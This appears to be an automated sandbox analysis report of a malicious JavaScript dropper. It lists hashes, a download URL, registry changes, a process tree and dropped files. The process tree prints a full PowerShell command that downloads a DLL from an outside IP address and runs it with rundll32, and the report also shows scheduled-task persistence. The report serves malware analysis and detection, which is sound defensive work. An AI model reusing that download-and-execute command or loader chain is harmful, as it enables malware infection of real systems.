Analysis
-
max time kernel
146s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240419-en -
resource tags
arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 06:05
Static task
static1
Behavioral task
behavioral1
Sample
9e182abd97e46d2788e637b1969deede1821bc08ece40d731ec1051be0b32330 (1).js
Resource
win7-20240419-en
General
-
Target
9e182abd97e46d2788e637b1969deede1821bc08ece40d731ec1051be0b32330 (1).js
-
Size
134KB
-
MD5
1f2912c0c12b316023061de20ee3cc55
-
SHA1
05cad925852e41a0832bc9bf3db5056990d027d4
-
SHA256
9e182abd97e46d2788e637b1969deede1821bc08ece40d731ec1051be0b32330
-
SHA512
226d9de84f0a3624e8b84ec3f89026299d457907faab3246694b04de40af76d927561ccbf463444e5049dd55ac2a72f4e727c6e10f4a490604c01738142c7f5b
-
SSDEEP
1536:BIscHpcWN6ns7eemQA1iPFmpcEo0SlWu37kxlvtqMPeHp6o:5cHDesSemV1iQWEo0SlWA7Alvtl8f
Malware Config
Extracted
http://185.49.69.41/data/b413842a6f5f431ab839f99fe3f6d3a9
Signatures
-
Blocklisted process makes network request 21 IoCs
Processes:
rundll32.exeflow pid process 6 1888 rundll32.exe 7 1888 rundll32.exe 8 1888 rundll32.exe 9 1888 rundll32.exe 10 1888 rundll32.exe 11 1888 rundll32.exe 12 1888 rundll32.exe 13 1888 rundll32.exe 14 1888 rundll32.exe 15 1888 rundll32.exe 16 1888 rundll32.exe 17 1888 rundll32.exe 18 1888 rundll32.exe 19 1888 rundll32.exe 20 1888 rundll32.exe 21 1888 rundll32.exe 22 1888 rundll32.exe 23 1888 rundll32.exe 24 1888 rundll32.exe 25 1888 rundll32.exe 26 1888 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 1888 rundll32.exe 1888 rundll32.exe 1888 rundll32.exe 1888 rundll32.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in System32 directory 2 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2U72FOVQ.htm rundll32.exe -
Drops file in Windows directory 1 IoCs
Processes:
rundll32.exedescription ioc process File created C:\Windows\Tasks\RtlCpl.job rundll32.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
rundll32.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor rundll32.exe Key enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor rundll32.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor rundll32.exe -
Modifies data under HKEY_USERS 21 IoCs
Processes:
rundll32.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82} rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d6-5b-55-e9-9b-6a\WpadDecision = "0" rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00c5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\WpadDecisionReason = "1" rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\WpadDecisionTime = b08d0d77d7acda01 rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\WpadNetworkName = "Network 2" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d6-5b-55-e9-9b-6a rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\WpadDecision = "0" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\d6-5b-55-e9-9b-6a rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d6-5b-55-e9-9b-6a\WpadDecisionReason = "1" rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d6-5b-55-e9-9b-6a\WpadDecisionTime = b08d0d77d7acda01 rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 2224 powershell.exe 2744 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2224 powershell.exe Token: SeDebugPrivilege 2744 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
wscript.exepowershell.exepowershell.exetaskeng.exedescription pid process target process PID 1432 wrote to memory of 2224 1432 wscript.exe powershell.exe PID 1432 wrote to memory of 2224 1432 wscript.exe powershell.exe PID 1432 wrote to memory of 2224 1432 wscript.exe powershell.exe PID 2224 wrote to memory of 2744 2224 powershell.exe powershell.exe PID 2224 wrote to memory of 2744 2224 powershell.exe powershell.exe PID 2224 wrote to memory of 2744 2224 powershell.exe powershell.exe PID 2744 wrote to memory of 2628 2744 powershell.exe rundll32.exe PID 2744 wrote to memory of 2628 2744 powershell.exe rundll32.exe PID 2744 wrote to memory of 2628 2744 powershell.exe rundll32.exe PID 1836 wrote to memory of 1888 1836 taskeng.exe rundll32.exe PID 1836 wrote to memory of 1888 1836 taskeng.exe rundll32.exe PID 1836 wrote to memory of 1888 1836 taskeng.exe rundll32.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\9e182abd97e46d2788e637b1969deede1821bc08ece40d731ec1051be0b32330 (1).js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://185.49.69.41/data/b413842a6f5f431ab839f99fe3f6d3a9' -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\vnbqsz3w.xaa,Start4⤵
- Drops file in Windows directory
-
C:\Windows\system32\taskeng.exetaskeng.exe {FE56A16F-4024-4C49-96B9-D4201DF5FD79} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe "C:\ProgramData\RtlCpl\RtlCpl.dll",Start /p2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\RtlCpl\RtlCpl.dllFilesize
59KB
MD559fcd8a54f43d911fc7a8945e07b0246
SHA1759fcbf9f7a7d2ec42f938e0c69acfc07c682a97
SHA2561bcfed8b593a8a7c8b34e074aca3d4fc68a0ea3343b32eae89fdabf35ad40e7d
SHA5126d67da2334a4e2e4f4c615d8661a5df2be3fc5467f5636760c15322c3abe5cfe1df339b29dfa008362f6e34b8afad44aef6858eb8aa1cae9c2b0dc7cc2ba7332
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD52280203d45774540d3d0b00868c387b7
SHA10e2610ccaa52103851c31d8205e4162df3004f76
SHA256653ba5372954ff068bbefa16ce51b61443f2da495e43cbb3b6fc057867e50d44
SHA51245f6f3d92240105ab14bdcd0ff0f76be5b72034986c830a2861624d6e7c471e4dc68d9475758c9917cb802dcea4de457d0da96455f93c6f79ea1692c299cc68c
-
memory/1888-31-0x000007FEFAB70000-0x000007FEFAB87000-memory.dmpFilesize
92KB
-
memory/1888-28-0x000007FEFAB70000-0x000007FEFAB87000-memory.dmpFilesize
92KB
-
memory/2224-8-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmpFilesize
9.6MB
-
memory/2224-9-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmpFilesize
9.6MB
-
memory/2224-10-0x0000000002AF0000-0x0000000002B22000-memory.dmpFilesize
200KB
-
memory/2224-11-0x0000000002AF0000-0x0000000002B22000-memory.dmpFilesize
200KB
-
memory/2224-4-0x000007FEF556E000-0x000007FEF556F000-memory.dmpFilesize
4KB
-
memory/2224-19-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmpFilesize
9.6MB
-
memory/2224-7-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmpFilesize
9.6MB
-
memory/2224-6-0x0000000001F40000-0x0000000001F48000-memory.dmpFilesize
32KB
-
memory/2224-5-0x000000001B680000-0x000000001B962000-memory.dmpFilesize
2.9MB
-
memory/2628-20-0x000007FEFABC0000-0x000007FEFABD7000-memory.dmpFilesize
92KB
-
memory/2744-17-0x0000000002AE0000-0x0000000002B02000-memory.dmpFilesize
136KB
-
memory/2744-18-0x00000000029E0000-0x00000000029F2000-memory.dmpFilesize
72KB